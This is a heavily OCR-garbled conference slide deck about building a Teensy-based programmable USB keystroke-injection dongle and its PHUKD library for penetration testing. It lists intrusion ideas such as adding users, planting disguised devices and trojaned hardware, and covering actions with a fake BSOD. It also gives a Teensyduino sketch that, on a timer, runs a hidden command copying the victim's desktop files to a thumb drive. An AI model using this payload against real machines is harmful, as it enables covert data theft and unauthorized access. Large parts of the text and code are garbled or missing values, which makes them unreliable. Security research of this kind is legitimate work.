PROGRAMMABLE HID USB
KEYBOARD/MOUSE DONGLE FOR
PEN-TESTING

Adrian Crenshaw

Project site:
http:// www.irongeek.com/i.php?page=security/programmadblel-usb-keystrokedongle
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About Adrian

£ | run lrongeek.com

e | have an interest in InfoSec
education

tL R2YyQ0 (1y2adMOYSE®
geek with time on my hands
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First, a little story

£ | was given a device called a Phantdaystrokemas
I A LIS 1 SNXA FirgSidgalk atf 2 NJ R 2
Shmoocor2010

e TheKeystrokemwvasmeant to annoy someone by
sending keystrokes and mouse movements to their
computer

£ But, what if it was programmable? .",’., <
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Darren and Robin

£ Darren Kitchen (media mogul)
and Robin Wood (code deity)

e | knew Darren had been workin
with the U3 thumb drives for

him with the idea | -
: : : : .. o

e Devious minds think alike! Thel  =i; fo ¥.
were already developing it! e

: : V\REWALL
e They are working on a productf &sn. g;c_mww
(USB Rubber Ducky): Robin Wood s
http://www.hak5.org/store http://digininja.org
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Playing with the idea

E C2NJ GK2asS OGaKIFId tA1S 02
the rest of this presentation

e Three notes in my defense:
. LQY ySg (2 YAONROZ2YUNPRC
2. | suck at soldering

(Like an epileptic alcoholic with DTs soldering with
an aluminum baseball bat)

3. | apparently suck at using rotary tools too ’;
L
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Why would you want a programmable
keystroke device?

e Likely types faster than you can, without errors
e  Works even if Uautorunis turned off

e Draws less attention than sitting down in front of the
terminal would. The person turns their head for a minute,
the pentester plugs in their programmable USB key stroke
dongle, and Bobs your uncle, instawnage

e Can also be set to go off on a timer when you know a target
will be logged in

£ Just use your imagination!
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What sort of commands would you want
to issue?

£ Add a user

E Run a program

£ Copy files to youthumbdrivefor later retrieval
e Upload local files

e Download and install apps

e Go to a website they have a cookie for, and do a
sort of CSRF (sic)
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Other ideas

£ Embed a hub and storage in better packaging
http://www.dealextreme.com/details.dx/sku.2704~r.48687660

e Leave it around in a thumb drive package for
unsuspecting people to pick up and use

e TrojanedHardware: Use a timer or sensor and
embed it in another device you give to the target a
I aIATFaa

e 11 @S A0 agl 1S dzLXE T Y2 dz
program that covers what it is doing (fake BSOD fc
example), does its thing, then stops (leaving the
GFNBSU 02 GKAYl aAdGQa

e Default BIOs password brute forcing? .

L
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http://www.dealextreme.com/details.dx/sku.2704~r.48687660

What is in a name?

e MintyPwr?
e DIPSticR

£ Programmable Hid USB Keyboard/Mouse Dongle?
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rogrammable-id L'SB<eyboard/Mouse _ongle?
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Ok, we have some names, now how
would we build one?
e Did someGoogling<
e C2dzy R a2YS ftAYAUSR AGSY
t CKSY L F2dzyRX
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The Teensy

e Teensy 2.01s 1.2 by 0.7 inch
E AVR processor, 16 MHz

e Programmable over Mini USB In
C orArduinodev package

£ $18 to $27
e USB HID Support!!!
£ http://www.pjrc.com/teensy/
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More detailed Specs

Teensy 2.0 Teensy++ 2.0

© '... ®. 0 ,.....:L.g—?’?g’g’gg: ;./.y.‘.)
- - /@mum/az%s .

-e0ee |
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Processc ATMEGA32L
Flash Memor 3225¢
RAM Memor 256(

EEPRO 1024

1/O 25

Analog i 12

PWN 7
UART,I2C,<

Price
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Butt Ugly Schematic

Photoresistort h a t i s above
dar k, and | ess than

USB ,
Connector

10K q
Resistor

— DIP Switches

Common
Ground

Please note that the Teensy can use internal pullup resistors
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Teensyduino Code Example

#include <  phukdlib.h >
/I Header Section
/1Y ou will want to change the pins below to match your board.
int  thispin
i ledPin = ;
PhotoRead = 0; //Here, but not used.

MinWait =

DIP_1
DIP_2
DIP_3
DIP_4

char *DIPOptions =
"Dips are used to set number of mins to wait"

void setup () {
/l'initialize the digital pin as an output:
for (int thispin =4; thispin <=8; thispin  ++){
pinMode ( thispin , INPUT_PULLUF); // Dip
}

MinWait =(! digitalRead (DIP_1)) * + (! digitalRead (DIP_2)) * + (! digitalRead (DIP_3)) * + (! digitalRead (DIP_4));
if  (MinWait ==0){
MinWait =1;
}
}

/I the loop() method runs over and over again, checking for events
void loop ()

/IPlease note: | use negative logic here, when a pin goes to ground the code us run.
delay (MinWait * );

CommandAtRunBarMSWIN " cmd /c for /F %i in (‘\WMIC logicaldisk where \ " DriveType =2\"list brief#| find \ "MYTHUM\ ™) do %i \' \ myscript.bat"

/* myscript.bat contains:
md %~dp0%USERNAMI %
xcopy /Y /E %USERPROFILE%)\ desktop \ *.* %~dp0%USERNAME%
*
delay ( )i
ShrinkCurWinMSWIN ();
MinWait =(! digitalRead (DIP_1)) * + (! digitalRead (DIP_2)) * + (! digitalRead (DIP_3)) * + (! digitalRead (DIP_4));
if  (MinWait ==0){
MinWait =1;
}
}
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Code Example (head)

#include <  phukdlib.h >

/[ Header Section

/Y ou will want to change the pins below to match your board.
int  thispin

int ledPin = ,

int  PhotoRead = 0; //Here, but not used.

int MinWait =

int DIP_1
int DIP_2
int DIP_3 ,
int DIP 4 ;

char *DIPOptions =
"Dips are used to set number of mins to wait
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Code Example(setup)

void setup () {
// initialize the digital pin as an output:
for (int thispin =4; thispin <=8, thispin  ++){
pinMode (thispin , INPUT_PULLUF); // Dip
}
MinWait =(! digitalRead (DIP_1)) * + (! digitalRead (DIP_2))

}

http://Irongeek.com

+ (! digitalRead (DIP_3)) * + (! digitalRead (DIP_4));
if  (MinWait ==0){

MinWait =1;
}




Code Example (main loop)

Il the loop() method runs over and over again, checking for events
void loop ()
{
//[Please note: | use negative logic here, when a pin goes to
ground the code us run.
delay ( MinWait * );
CommandAtRunBarMSWIN " cmd /c for /F %1 in (WMIC logicaldisk
\ " DriveType =2\" list brief /| find \ "MYTHUM\ ") do
%i\ \ myscript.bat" );

[* myscript.bat contains:
md %~dp0%USERNAMI %
xcopy 1Y /E %USERPROFILE%\ desktop \ *.* %~dp0%USERNAME%
*/
delay ( );
ShrinkCurWinMSWIN ();
MinWait =(! digitalRead (DIP_1)) * + (! digitalRead (DIP_2)) *
I digitalRead (DIP_3)) * + (! digitalRead ( DIP_4));
if  (MinWait
MinWait =1;
}
}
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PHUKD Library

e CommandAtRunBzchar *SomeCommand
Opensa run bar/terminaland executes the given command

E ShrinkCurWirn()

Shrinkghe active window to help hide.it

t PressAndRelea@at KeyCodeint KeyCouni

Thisfunction simplifies the pressing and releasing of a key. You can also
specify how many times to hit the key (really useful for tabbing to where
you need to be on web sites).
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PHUKD Library

e ShowDia@Q)

Justsends diagnostic info out the keyboard interface. Things like the
reading on analog pin 0, and the state of each input. Should work on
both types of Teensy, but I've not done a lot of testing

e DIPOptions

Not really a function, but a string you can set in your sketch that
ShowDiagvill print out. | kept forgetting which DIP switch | had set to
run which function, so | use this as a reminder at runtime.
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PHUKD Library

£ Int ledkeygvoid)
ledkeysreturns the setting of the "lock S & & &
NumLock =1
CAP&ock =2
ScrollLock =
Addthem together to getombos.

e booleanlsNumbOivoid)
ReturnsTRUE if NUM Lock LED is on and FALSE otherwise

e booleanlsCapsOfvoid)
ReturnsTRUE if Caps Lock LED is on and FALSE otherwise

£ booleanlsScriOfvoid) o
ReturnsTRUE if Scroll Lock LED is on and FALSE otherwise. _ #*

. 14
N | /e
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More code in another talk

Powershell.omfg
e David Kennedy (ReL1K) Hacker
e Josh KelleywWinfang Hacker
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Demo Units
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Demo Units
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